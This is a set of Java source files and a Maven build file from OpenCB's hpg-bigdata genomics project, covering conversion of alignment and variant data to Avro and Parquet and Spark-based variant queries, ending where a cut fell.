<file_sep><?xml version="1.0" encoding="UTF-8"?> <!-- ~ Copyright 2015 OpenCB ~ ~ Licensed under the Apache License, Version 2.0 (the "License"); ~ you may not use this file except in compliance with the License. ~ You may obtain a copy of the License at ~ ~ http://www.apache.org/licenses/LICENSE-2.0 ~ ~ Unless required by applicable law or agreed to in writing, software ~ distributed under the License is distributed on an "AS IS" BASIS, ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ~ See the License for the specific language governing permissions and ~ limitations under the License. --> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.opencb.hpg-bigdata</groupId> <artifactId>hpg-bigdata</artifactId> <version>1.0.0-alpha</version> <relativePath>../pom.xml</relativePath> </parent> <artifactId>hpg-bigdata-core</artifactId> <version>${hpg.version}</version> <dependencies> <dependency> <groupId>org.opencb.biodata</groupId> <artifactId>biodata-tools</artifactId> <version>${biodata.version}</version> <!--<exclusions>--> <!--<exclusion>--> <!--<groupId>io.netty</groupId>--> <!--<artifactId>netty</artifactId>--> <!--</exclusion>--> <!--</exclusions>--> </dependency> <dependency> <groupId>org.opencb.commons</groupId> <artifactId>commons-lib</artifactId> </dependency> <dependency> <groupId>org.opencb.commons</groupId> <artifactId>commons-datastore-core</artifactId> </dependency> <dependency> <groupId>org.opencb.cellbase</groupId> <artifactId>cellbase-client</artifactId> <version>4.5.0-beta</version> </dependency> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-sql_2.11</artifactId> <version>2.0.0</version> </dependency> <dependency> <groupId>com.databricks</groupId> <artifactId>spark-avro_2.11</artifactId> <version>3.0.0</version> </dependency> <dependency> <groupId>org.apache.parquet</groupId> <artifactId>parquet-avro</artifactId> <!--<version>${parquet.version}</version>--> <version>1.7.0</version> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.4</version> </dependency> <dependency> <groupId>com.github.samtools</groupId> <artifactId>htsjdk</artifactId> <version>1.138</version> <!--<version>2.5.1</version>--> </dependency> <!--<dependency>--> <!--<groupId>org.apache.hadoop</groupId>--> <!--<artifactId>hadoop-common</artifactId>--> <!--<version>${hadoop.version}</version>--> <!--</dependency>--> <!--<dependency>--> <!--<groupId>org.apache.avro</groupId>--> <!--<artifactId>avro</artifactId>--> <!--<version>${avro.version}</version>--> <!--</dependency>--> <!--<dependency>--> <!--<groupId>org.apache.avro</groupId>--> <!--<artifactId>avro-ipc</artifactId>--> <!--<version>${avro.version}</version>--> <!--</dependency>--> <dependency> <groupId>com.google.protobuf</groupId> <artifactId>protobuf-java</artifactId> <version>3.0.0-beta-3</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> </dependency> </dependencies> </project><file_sep>/* * Copyright 2015 OpenCB * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.opencb.hpg.bigdata.core.avro; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; import java.util.ArrayList; import java.util.List; import java.util.function.Predicate; /** * Created by jtarraga on 03/08/16. */ public abstract class AvroSerializer<T> { protected String compression; protected List<Predicate<T>> filters; public AvroSerializer() { this("deflate"); } public AvroSerializer(String compression) { this.compression = compression; filters = new ArrayList<>(); } public boolean filter(T record) { for (Predicate filter: filters) { if (!filter.test(record)) { return false; } } return true; } public AvroSerializer addFilter(Predicate<T> predicate) { getFilters().add(predicate); return this; } public void toAvro(String inputFilename, String outputFilename) throws IOException { InputStream inputStream = new FileInputStream(inputFilename); toAvro(inputStream, outputFilename); inputStream.close(); } public abstract void toAvro(InputStream inputStream, String outputFilename) throws IOException; @Override public String toString() { final StringBuilder sb = new StringBuilder("AvroSerializer{"); sb.append("compression=").append(compression); sb.append(", filters=").append(filters); sb.append('}'); return sb.toString(); } public List<Predicate<T>> getFilters() { return filters; } public AvroSerializer setFilters(List<Predicate<T>> filters) { this.filters = filters; return this; } public String getCompression() { return compression; } public void setCompression(String compression) { this.compression = compression; } } <file_sep>package org.opencb.hpg.bigdata.core.avro; import htsjdk.samtools.*; import org.ga4gh.models.ReadAlignment; import org.opencb.hpg.bigdata.core.converters.SAMRecord2ReadAlignmentConverter; import org.opencb.hpg.bigdata.core.io.avro.AvroFileWriter; import java.io.*; /** * Created by jtarraga on 03/08/16. */ public class AlignmentAvroSerializer extends AvroSerializer<ReadAlignment> { public AlignmentAvroSerializer() { this("deflate"); } public AlignmentAvroSerializer(String compression) { super(compression); } @Override public void toAvro(String inputFilename, String outputFilename) throws IOException { // reader SamReader reader = SamReaderFactory.makeDefault().open(new File(inputFilename)); // writer OutputStream outputStream = new FileOutputStream(outputFilename); AvroFileWriter<ReadAlignment> avroFileWriter = new AvroFileWriter<>(ReadAlignment.SCHEMA$, compression, outputStream); avroFileWriter.open(); // converter SAMRecord2ReadAlignmentConverter converter = new SAMRecord2ReadAlignmentConverter(); // main loop SAMRecordIterator iterator = reader.iterator(); while (iterator.hasNext()) { SAMRecord record = iterator.next(); ReadAlignment readAlignment = converter.forward(record); if (filter(readAlignment)) { avroFileWriter.writeDatum(readAlignment); } } // save the SAM header in a separated file PrintWriter pwriter = new PrintWriter(new FileWriter(outputFilename + ".header")); pwriter.write(reader.getFileHeader().getTextHeader()); pwriter.close(); // close reader.close(); avroFileWriter.close(); outputStream.close(); } @Override public void toAvro(InputStream inputStream, String outputFilename) throws IOException { toAvro(inputStream.toString(), outputFilename); } } <file_sep>/* * Copyright 2015 OpenCB * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.opencb.hpg.bigdata.tools.io.parquet; import org.apache.avro.Schema; import org.apache.avro.mapreduce.AvroJob; import org.apache.avro.mapreduce.AvroKeyInputFormat; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.Path; import org.apache.hadoop.mapreduce.Job; import org.apache.hadoop.mapreduce.lib.input.FileInputFormat; import org.apache.parquet.avro.AvroParquetOutputFormat; import org.opencb.hpg.bigdata.tools.utils.CompressionUtils; /** * Created by hpccoll1 on 05/05/15. */ public class ParquetMR { private final Schema schema; public ParquetMR(Schema schema) { this.schema = schema; } public int run(String input, String output, String codecName) throws Exception { Configuration conf = new Configuration(); Job job = Job.getInstance(conf, "ParquetMR"); job.setJarByClass(this.getClass()); // point to input data FileInputFormat.addInputPath(job, new Path(input)); job.setInputFormatClass(AvroKeyInputFormat.class); AvroJob.setInputKeySchema(job, schema); // set the output format job.setOutputFormatClass(AvroParquetOutputFormat.class); AvroParquetOutputFormat.setOutputPath(job, new Path(output)); AvroParquetOutputFormat.setSchema(job, schema); AvroParquetOutputFormat.setCompression(job, CompressionUtils.getParquetCodec(codecName)); AvroParquetOutputFormat.setCompressOutput(job, true); // set a large block size to ensure a single row group AvroParquetOutputFormat.setBlockSize(job, 500 * 1024 * 1024); job.setMapperClass(ParquetMapper.class); job.setNumReduceTasks(0); return (job.waitForCompletion(true) ? 0 : 1); } } <file_sep>/* * Copyright 2015 OpenCB * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.opencb.hpg.bigdata.app.cli.local; import htsjdk.variant.variantcontext.VariantContext; import htsjdk.variant.vcf.VCFCodec; import htsjdk.variant.vcf.VCFFileReader; import org.apache.avro.Schema; import org.apache.commons.lang3.StringUtils; import org.apache.spark.SparkConf; import org.apache.spark.SparkContext; import org.apache.spark.sql.SparkSession; import org.opencb.biodata.formats.variant.vcf4.FullVcfCodec; import org.opencb.biodata.models.core.Region; import org.opencb.biodata.models.variant.Variant; import org.opencb.biodata.models.variant.avro.VariantAvro; import org.opencb.biodata.models.variant.protobuf.VariantProto; import org.opencb.biodata.tools.variant.converter.Converter; import org.opencb.biodata.tools.variant.converter.VariantContextToVariantConverter; import org.opencb.biodata.tools.variant.converter.VariantContextToVariantProtoConverter; import org.opencb.commons.io.DataReader; import org.opencb.commons.run.ParallelTaskRunner; import org.opencb.commons.utils.FileUtils; import org.opencb.hpg.bigdata.app.cli.CommandExecutor; import org.opencb.hpg.bigdata.core.avro.VariantAvroAnnotator; import org.opencb.hpg.bigdata.core.avro.VariantAvroSerializer; import org.opencb.hpg.bigdata.core.converters.variation.ProtoEncoderTask; import org.opencb.hpg.bigdata.core.converters.variation.VariantAvroEncoderTask; import org.opencb.hpg.bigdata.core.converters.variation.VariantContext2VariantConverter; import org.opencb.hpg.bigdata.core.io.VariantContextBlockIterator; import org.opencb.hpg.bigdata.core.io.VcfBlockIterator; import org.opencb.hpg.bigdata.core.io.avro.AvroFileWriter; import org.opencb.hpg.bigdata.core.lib.SparkConfCreator; import org.opencb.hpg.bigdata.core.lib.VariantDataset; import org.opencb.hpg.bigdata.core.parquet.VariantParquetConverter; import java.io.*; import java.nio.ByteBuffer; import java.nio.CharBuffer; import java.nio.file.Path; import java.nio.file.Paths; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.List; /** * Created by imedina on 25/06/15. */ public class VariantCommandExecutor extends CommandExecutor { private LocalCliOptionsParser.VariantCommandOptions variantCommandOptions; public VariantCommandExecutor(LocalCliOptionsParser.VariantCommandOptions variantCommandOptions) { // super(variantCommandOptions.c, fastqCommandOptions.verbose, fastqCommandOptions.conf); this.variantCommandOptions = variantCommandOptions; } @Override public void execute() throws Exception { String subCommandString = variantCommandOptions.getParsedSubCommand(); switch (subCommandString) { case "convert": init(variantCommandOptions.convertVariantCommandOptions.commonOptions.logLevel, variantCommandOptions.convertVariantCommandOptions.commonOptions.verbose, variantCommandOptions.convertVariantCommandOptions.commonOptions.conf); convert(); break; case "annotate": init(variantCommandOptions.convertVariantCommandOptions.commonOptions.logLevel, variantCommandOptions.convertVariantCommandOptions.commonOptions.verbose, variantCommandOptions.convertVariantCommandOptions.commonOptions.conf); annotate(); case "query": init(variantCommandOptions.queryVariantCommandOptions.commonOptions.logLevel, variantCommandOptions.queryVariantCommandOptions.commonOptions.verbose, variantCommandOptions.queryVariantCommandOptions.commonOptions.conf); query(); break; default: break; } } private void convert() throws Exception { // check mandatory parameter 'input file' Path inputPath = Paths.get(variantCommandOptions.convertVariantCommandOptions.input); FileUtils.checkFile(inputPath); // check mandatory parameter 'to' String to = variantCommandOptions.convertVariantCommandOptions.to; if (!to.equals("avro") && !to.equals("parquet") && !to.equals("json")) { throw new IllegalArgumentException("Unknown serialization format: " + to + ". Valid values: avro, parquet and json"); } // check output String output = variantCommandOptions.convertVariantCommandOptions.output; boolean stdOutput = variantCommandOptions.convertVariantCommandOptions.stdOutput; OutputStream outputStream; if (stdOutput) { output = "STDOUT"; } else { if (output != null && !output.isEmpty()) { Path parent = Paths.get(output).toAbsolutePath().getParent(); if (parent != null) { // null if output is a file in the current directory FileUtils.checkDirectory(parent, true); // Throws exception, if does not exist } } else { output = inputPath.toString() + "." + to; } outputStream = new FileOutputStream(output); } // compression String compression = variantCommandOptions.convertVariantCommandOptions.compression; // region filter List<Region> regions = null; if (StringUtils.isNotEmpty(variantCommandOptions.convertVariantCommandOptions.regions)) { regions = Region.parseRegions(variantCommandOptions.convertVariantCommandOptions.regions); } switch (variantCommandOptions.convertVariantCommandOptions.to) { case "avro": VariantAvroSerializer avroSerializer = new VariantAvroSerializer(compression); if (regions != null) { regions.forEach(avroSerializer::addRegionFilter); } avroSerializer.toAvro(inputPath.toString(), output); break; case "parquet": InputStream is = new FileInputStream(variantCommandOptions.convertVariantCommandOptions.input); VariantParquetConverter parquetConverter = new VariantParquetConverter(); parquetConverter.toParquet(is, variantCommandOptions.convertVariantCommandOptions.output + "2"); break; default: System.out.println("No valid format: " + variantCommandOptions.convertVariantCommandOptions.to); break; } } // private void convert2() throws Exception { // Path inputPath = Paths.get(variantCommandOptions.convertVariantCommandOptions.input); // FileUtils.checkFile(inputPath); // // // Creating file writer. If 'output' parameter is passed and it is different from // // STDOUT then a file is created if parent folder exist, otherwise STDOUT is used. // String output = variantCommandOptions.convertVariantCommandOptions.output; // boolean isFile = false; // OutputStream outputStream; // if (output != null && !output.isEmpty() && !output.equalsIgnoreCase("STDOUT")) { // Path parent = Paths.get(output).toAbsolutePath().getParent(); // if (parent != null) { // null if output is a file in the current directory // FileUtils.checkDirectory(parent, true); // Throws exception, if does not exist // } // outputStream = new FileOutputStream(output); // isFile = true; // } else { // outputStream = System.out; // output = "STDOUT"; // } // // String dataModel = variantCommandOptions.convertVariantCommandOptions.dataModel; // dataModel = (dataModel != null && !dataModel.isEmpty()) ? dataModel : "opencb"; // // String compression = variantCommandOptions.convertVariantCommandOptions.compression; // compression = (compression == null || compression.isEmpty()) ? "auto" : compression.toLowerCase(); // // if (!variantCommandOptions.convertVariantCommandOptions.toJson // && !variantCommandOptions.convertVariantCommandOptions.toAvro // && !variantCommandOptions.convertVariantCommandOptions.toProtoBuf // && !variantCommandOptions.convertVariantCommandOptions.fromAvro) { //// variantCommandOptions.convertVariantCommandOptions.toAvro = true; // variantCommandOptions.convertVariantCommandOptions.toParquet = true; // } // // /* // * JSON converter. Mode 'auto' set to gzip is file name ends with .gz // */ // if (variantCommandOptions.convertVariantCommandOptions.toJson) { // if (compression.equals("auto")) { // if (output.endsWith(".gz")) { // compression = "gzip"; // } else if (output.equalsIgnoreCase("STDOUT") || output.endsWith("json")) { // compression = ""; // } else { // throw new IllegalArgumentException("Unknown compression extension for " + output); // } // } // // if (compression.equals("gzip")) { // outputStream = new GZIPOutputStream(outputStream); // } // convertToJson(inputPath, dataModel, outputStream); // } // // /* // * Protocol Buffer 3 converter. Mode 'auto' set to gzip is file name ends with .gz // */ // if (variantCommandOptions.convertVariantCommandOptions.toProtoBuf) { // if (compression.equals("auto")) { // if (output.endsWith(".gz")) { // compression = "gzip"; // } else if (output.equalsIgnoreCase("STDOUT") // || output.endsWith("pb") // || output.endsWith("pb3") // || output.endsWith("proto")) { // compression = ""; // } else { // throw new IllegalArgumentException("Unknown compression extension for " + output); // } // } // // if (compression.equals("gzip")) { // outputStream = new GZIPOutputStream(outputStream); // } // convertToProtoBuf(inputPath, outputStream); // } // // /* // * Avro converter. Mode 'auto' set to gzip is file name ends with .gz // */ // if (variantCommandOptions.convertVariantCommandOptions.toAvro) { // // if compression mode is set to 'auto' it is inferred from files extension // if (compression.equals("auto")) { // // if output is a defined file and contains an extension // if (output.contains(".")) { // String[] split = output.split("\\."); // switch (split[split.length - 1]) { // case "gz": // case "deflate": // compression = "deflate"; // break; // case "sz": // case "snz": // compression = "snappy"; // break; // case "bzip2": // compression = "bzip2"; // break; // case "xz": // compression = "xz"; // break; // default: // compression = "deflate"; // break; // } // } else { // if we reach this point is very likely output is set to STDOUT // compression = "deflate"; // } // } // // System.out.println("compression = " + compression); // VariantAvroSerializer avroSerializer = new VariantAvroSerializer(compression); // avroSerializer.toAvro(inputPath.toString(), output); // // /* // convertToAvro(inputPath, compression, dataModel, outputStream); // // if (isFile) { // String metaFile = output + ".meta"; // logger.info("Write metadata into " + metaFile); // try (FileOutputStream out = new FileOutputStream(metaFile)) { // writeAvroStats(new AvroFileWriter<>(VariantFileMetadata.getClassSchema(), compression, out), output); // } // } // */ // } // // if (variantCommandOptions.convertVariantCommandOptions.toParquet) { // InputStream is = new FileInputStream(variantCommandOptions.convertVariantCommandOptions.input); // VariantParquetConverter parquetConverter = new VariantParquetConverter(); //// parquetConverter.addRegionFilter(new Region("1", 1, 800000)) //// .addRegionFilter(new Region("1", 798801, 222800000)) //// .addFilter(v -> v.getStudies().get(0).getFiles().get(0).getAttributes().get("NS").equals("60")); // parquetConverter.toParquet(is, variantCommandOptions.convertVariantCommandOptions.output + "2"); // // is.close(); // } // // if (outputStream != null) { // outputStream.flush(); // outputStream.close(); // } // } private void convertToJson(Path inputPath, String dataModel, OutputStream outputStream) throws IOException { VCFFileReader reader = new VCFFileReader(inputPath.toFile(), false); switch (dataModel.toLowerCase()) { case "opencb": { VariantContextToVariantConverter variantContextToVariantConverter = new VariantContextToVariantConverter("", "", Collections.emptyList()); Variant variant; for (VariantContext variantContext : reader) { variant = variantContextToVariantConverter.convert(variantContext); outputStream.write(variant.toJson().getBytes()); outputStream.write('\n'); } break; } case "ga4gh": { // GA4GH Avro data models used VariantContext2VariantConverter variantContext2VariantConverter = new VariantContext2VariantConverter(); org.ga4gh.models.Variant variant; for (VariantContext variantContext : reader) { variant = variantContext2VariantConverter.forward(variantContext); outputStream.write(variant.toString().getBytes()); outputStream.write('\n'); } break; } default: throw new IllegalArgumentException("Unknown dataModel \"" + dataModel + "\""); } reader.close(); } private void convertToProtoBuf(Path inputPath, OutputStream outputStream) throws Exception { // Creating reader VcfBlockIterator iterator = (StringUtils.equals("-", inputPath.toAbsolutePath().toString())) ? new VcfBlockIterator(new BufferedInputStream(System.in), new FullVcfCodec()) : new VcfBlockIterator(inputPath.toFile(), new FullVcfCodec()); LocalCliOptionsParser.ConvertVariantCommandOptions cliOptions = variantCommandOptions.convertVariantCommandOptions; int numTasks = Math.max(cliOptions.numThreads, 1); int batchSize = Integer.parseInt(cliOptions.options.getOrDefault("batch.size", "50")); int bufferSize = Integer.parseInt(cliOptions.options.getOrDefault("buffer.size", "100000")); int capacity = numTasks + 1; ParallelTaskRunner.Config config = new ParallelTaskRunner.Config(numTasks, batchSize, capacity, true, false); ParallelTaskRunner<CharSequence, ByteBuffer> runner = new ParallelTaskRunner<>( iterator.toLineDataReader(), () -> { //Task supplier. Will supply a task instance for each thread. //VCFCodec is not thread safe. MUST exist one instance per thread VCFCodec codec = new FullVcfCodec(iterator.getHeader(), iterator.getVersion()); VariantContextBlockIterator blockIterator = new VariantContextBlockIterator(codec); Converter<VariantContext, VariantProto.Variant> converter = new VariantContextToVariantProtoConverter(); return new ProtoEncoderTask<>(charBuffer -> converter.convert(blockIterator.convert(charBuffer)), bufferSize); }, batch -> { batch.forEach(byteBuffer -> { try { outputStream.write(byteBuffer.array(), byteBuffer.arrayOffset(), byteBuffer.limit()); } catch (IOException e) { throw new RuntimeException(e); } }); return true; }, config ); runner.run(); outputStream.close(); // InputStream inputStream = new FileInputStream(variantCommandOptions.convertVariantCommandOptions.output); // if (outputStream instanceof GZIPOutputStream) { // inputStream = new GZIPInputStream(inputStream); // } // VariantProto.Variant variant; // int i = 0; // try { // while ((variant = VariantProto.Variant.parseDelimitedFrom(inputStream)) != null) { // i++; // System.out.println(variant.getChromosome() + ":" + variant.getStart() // + ":" + variant.getReference() + ":" + variant.getAlternate()); //// System.out.println("variant = " + variant.toString()); // } // } finally { // System.out.println("Num variants = " + i); // inputStream.close(); // } } /* private void convertToAvro2(Path inputPath, String compression, String dataModel, OutputStream outputStream) throws Exception { VariantContextToVariantConverter converter = new VariantContextToVariantConverter("", ""); VCFFileReader vcfFileReader = new VCFFileReader(inputPath.toFile(), false); VCFHeader fileHeader = vcfFileReader.getFileHeader(); CloseableIterator<VariantContext> iterator = vcfFileReader.iterator(); while (iterator.hasNext()) { VariantContext variantContext = iterator.next(); System.out.println("======================================"); System.out.println("variantContext = " + variantContext); System.out.println("variantContext.getCommonInfo().getAttributes() = " + variantContext.getCommonInfo().getAttributes()); System.out.println("variantContext.getGenotypes().isLazyWithData() = " + variantContext.getGenotypes().isLazyWithData()); ((LazyGenotypesContext)variantContext.getGenotypes()).decode(); System.out.println("variantContext.getGenotypes().getUnparsedGenotypeData() = " + ((LazyGenotypesContext)variantContext.getGenotypes()).getUnparsedGenotypeData()); // System.out.println("variantContext.toStringDecodeGenotypes() = " + variantContext.toStringDecodeGenotypes()); System.out.println("variantContext.getGenotypes().get(0) = " + variantContext.getGenotypes().get(0).hasAnyAttribute("GC")); System.out.println("variantContext.getGenotypes().get(0).getExtendedAttributes() = " + variantContext.getGenotypes().get(0) .getExtendedAttributes()); Variant variant = converter.convert(variantContext); System.out.println("variant = " + variant); System.out.println("======================================"); } } */ private void convertToAvro(Path inputPath, String compression, String dataModel, OutputStream outputStream) throws Exception { // Creating reader VcfBlockIterator iterator = (StringUtils.equals("-", inputPath.toAbsolutePath().toString())) ? new VcfBlockIterator(new BufferedInputStream(System.in), new FullVcfCodec()) : new VcfBlockIterator(inputPath.toFile(), new FullVcfCodec()); DataReader<CharBuffer> vcfDataReader = iterator.toCharBufferDataReader(); ArrayList<String> sampleNamesInOrder = iterator.getHeader().getSampleNamesInOrder(); // System.out.println("sampleNamesInOrder = " + sampleNamesInOrder); // main loop int numTasks = Math.max(variantCommandOptions.convertVariantCommandOptions.numThreads, 1); int batchSize = 1024 * 1024; //Batch size in bytes int capacity = numTasks + 1; // VariantConverterContext variantConverterContext = new VariantConverterContext(); // long start = System.currentTimeMillis(); // final VariantContextToVariantConverter converter = new VariantContextToVariantConverter("", "", sampleNamesInOrder); // List<CharBuffer> read; // while ((read = vcfDataReader.read()) != null { // converter.convert(read.) // } // Old implementation: ParallelTaskRunner.Config config = new ParallelTaskRunner.Config(numTasks, batchSize, capacity, false); ParallelTaskRunner<CharBuffer, ByteBuffer> runner; switch (dataModel.toLowerCase()) { case "opencb": { Schema classSchema = VariantAvro.getClassSchema(); // Converter final VariantContextToVariantConverter converter = new VariantContextToVariantConverter("", "", sampleNamesInOrder); // Writer AvroFileWriter<VariantAvro> avroFileWriter = new AvroFileWriter<>(classSchema, compression, outputStream); runner = new ParallelTaskRunner<>( vcfDataReader, () -> new VariantAvroEncoderTask<>(iterator.getHeader(), iterator.getVersion(), variantContext -> converter.convert(variantContext).getImpl(), classSchema), avroFileWriter, config); break; } case "ga4gh": { Schema classSchema = org.ga4gh.models.Variant.getClassSchema(); // Converter final VariantContext2VariantConverter converter = new VariantContext2VariantConverter(); converter.setVariantSetId(""); //TODO: Set VariantSetId // Writer AvroFileWriter<org.ga4gh.models.Variant> avroFileWriter = new AvroFileWriter<>(classSchema, compression, outputStream); runner = new ParallelTaskRunner<>( vcfDataReader, () -> new VariantAvroEncoderTask<>(iterator.getHeader(), iterator.getVersion(), converter, classSchema), avroFileWriter, config); break; } default: throw new IllegalArgumentException("Unknown dataModel \"" + dataModel + "\""); } long start = System.currentTimeMillis(); runner.run(); logger.debug("Time " + (System.currentTimeMillis() - start) / 1000.0 + "s"); } /* private void writeAvroStats(AvroFileWriter<VariantFileMetadata> aw, String file) throws IOException { try { aw.open(); Builder builder = VariantFileMetadata.newBuilder(); builder.setStudyId(file).setFileId(file); Map<String, Object> meta = new HashMap<>(); meta.put("FILTER_DEFAULT", "PASS"); meta.put("QUAL_DEFAULT", StringUtils.EMPTY); meta.put("INFO_DEFAULT", "END,BLOCKAVG_min30p3a"); meta.put("FORMAT_DEFAULT", "GT:GQX:DP:DPF"); builder.setMetadata(meta); builder.setAggregation(Aggregation.NONE); builder.setStats(null); builder.setHeader(null); aw.writeDatum(builder.build()); } finally { try { aw.close(); } catch (Exception e) { e.printStackTrace(); } } } */ public void query() throws Exception { // check mandatory parameter 'input file' Path inputPath = Paths.get(variantCommandOptions.queryVariantCommandOptions.input); FileUtils.checkFile(inputPath); // TODO: to take the spark home from somewhere else SparkConf sparkConf = SparkConfCreator.getConf("variant query", "local", 1, true, "/home/jtarraga/soft/spark-2.0.0/"); System.out.println("sparkConf = " + sparkConf.toDebugString()); SparkSession sparkSession = new SparkSession(new SparkContext(sparkConf)); // SparkConf sparkConf = SparkConfCreator.getConf("MyTest", "local", 1, true, "/home/jtarraga/soft/spark-2.0.0/"); // SparkSession sparkSession = new SparkSession(new SparkContext(sparkConf)); VariantDataset vd = new VariantDataset(); vd.load(variantCommandOptions.queryVariantCommandOptions.input, sparkSession); vd.createOrReplaceTempView("vcf"); // query for id if (StringUtils.isNotEmpty(variantCommandOptions.queryVariantCommandOptions.ids)) { String[] ids = StringUtils.split(variantCommandOptions.queryVariantCommandOptions.ids, ","); for (String id : ids) { vd.idFilter(id); logger.warn("Query for multiple IDs, not yet implemented. Currently, it queries for the first ID."); break; } } // query for type if (StringUtils.isNotEmpty(variantCommandOptions.queryVariantCommandOptions.types)) { String[] types = StringUtils.split(variantCommandOptions.queryVariantCommandOptions.types, ","); if (types.length == 1) { vd.typeFilter(types[0]); } else { vd.typeFilter(new ArrayList<>(Arrays.asList(types))); } } // query for region List<Region> regions = null; if (StringUtils.isNotEmpty(variantCommandOptions.queryVariantCommandOptions.regions)) { regions = Region.parseRegions(variantCommandOptions.queryVariantCommandOptions.regions); for (Region region : regions) { logger.warn("Query for region, not yet implemented."); break; } } // query for SO term name if (StringUtils.isNotEmpty(variantCommandOptions.queryVariantCommandOptions.so_names)) { String[] names = StringUtils.split(variantCommandOptions.queryVariantCommandOptions.so_names, ","); for (String name : names) { vd.annotationFilter("consequenceTypes.sequenceOntologyTerms.name", name); logger.warn("Query for multiple SO term names (consequence type), not yet implemented. " + "Currently, it queries for the first SO term name."); break; } } // query for SO term accession if (StringUtils.isNotEmpty(variantCommandOptions.queryVariantCommandOptions.so_accessions)) { String[] accessions = StringUtils.split(variantCommandOptions.queryVariantCommandOptions.so_accessions, ","); for (String accession : accessions) { vd.annotationFilter("consequenceTypes.sequenceOntologyTerms.accession", accession); logger.warn("Query for multiple SO term accessions (consequence type), not yet implemented. " + "Currently, it queries for the first SO term accession."); break; } } // apply previous filters vd.update(); // save the dataset logger.warn("The current query implementation saves the resulting dataset in Avro format."); vd.write().format("com.databricks.spark.avro").save(variantCommandOptions.queryVariantCommandOptions.output); } public void annotate() throws IOException { VariantAvroAnnotator variantAvroAnnotator = new VariantAvroAnnotator(); Path input = Paths.get(variantCommandOptions.annotateVariantCommandOptions.input); Path output = Paths.get(variantCommandOptions.annotateVariantCommandOptions.ouput); variantAvroAnnotator.annotate(input, output); } } <file_sep>/* * Copyright 2015 OpenCB * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.opencb.hpg.bigdata.core.parquet; import org.apache.avro.Schema; import org.apache.avro.file.DataFileStream; import org.apache.avro.generic.IndexedRecord; import org.apache.avro.io.DatumReader; import org.apache.avro.specific.SpecificDatumReader; import org.apache.hadoop.fs.Path; import org.apache.parquet.avro.AvroParquetWriter; import org.apache.parquet.hadoop.ParquetWriter; import org.apache.parquet.hadoop.metadata.CompressionCodecName; import java.io.IOException; import java.io.InputStream; import java.util.ArrayList; import java.util.List; import java.util.function.Predicate; /** * Created by hpccoll1 on 05/05/15. */ public abstract class ParquetConverter<T extends IndexedRecord> { protected CompressionCodecName compressionCodecName; protected int rowGroupSize; protected int pageSize; protected Schema schema; protected List<Predicate<T>> filters; public ParquetConverter() { this(CompressionCodecName.GZIP, ParquetWriter.DEFAULT_BLOCK_SIZE, ParquetWriter.DEFAULT_PAGE_SIZE); } public ParquetConverter(CompressionCodecName compressionCodecName, int rowGroupSize, int pageSize) { this.compressionCodecName = compressionCodecName; this.rowGroupSize = rowGroupSize; this.pageSize = pageSize; filters = new ArrayList<>(); } public boolean filter(T record) { for (Predicate filter: filters) { if (!filter.test(record)) { return false; } } return true; } public ParquetConverter addFilter(Predicate<T> predicate) { getFilters().add(predicate); return this; } public void toParquet(InputStream inputStream, String outputFilename) throws IOException { DatumReader<T> datumReader = new SpecificDatumReader<>(schema); DataFileStream<T> dataFileStream = new DataFileStream<>(inputStream, datumReader); AvroParquetWriter parquetWriter = new AvroParquetWriter(new Path(outputFilename), schema, compressionCodecName, rowGroupSize, pageSize); // This code is correct for parquet 1.8.1. Scala is still using parquet 1.7.0 // ParquetWriter<Object> parquetWriter2 = AvroParquetWriter.builder(new Path(outputFilename)) // .withSchema(schema) // .withCompressionCodec(compressionCodecName) // .withRowGroupSize(rowGroupSize) // .withPageSize(pageSize) // .build(); int numRecords = 0; T record = null; while (dataFileStream.hasNext()) { record = dataFileStream.next(record); if (filter(record)) { parquetWriter.write(record); if (++numRecords % 10000 == 0) { System.out.println("Number of processed records: " + numRecords); } } } parquetWriter.close(); dataFileStream.close(); } @Override public String toString() { final StringBuilder sb = new StringBuilder("ParquetConverter{"); sb.append("compressionCodecName=").append(compressionCodecName); sb.append(", rowGroupSize=").append(rowGroupSize); sb.append(", pageSize=").append(pageSize); sb.append(", schema=").append(schema); sb.append(", filters=").append(filters); sb.append('}'); return sb.toString(); } public List<Predicate<T>> getFilters() { return filters; } public ParquetConverter setFilters(List<Predicate<T>> filters) { this.filters = filters; return this; } } <file_sep>/* * Copyright 2015 OpenCB * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed 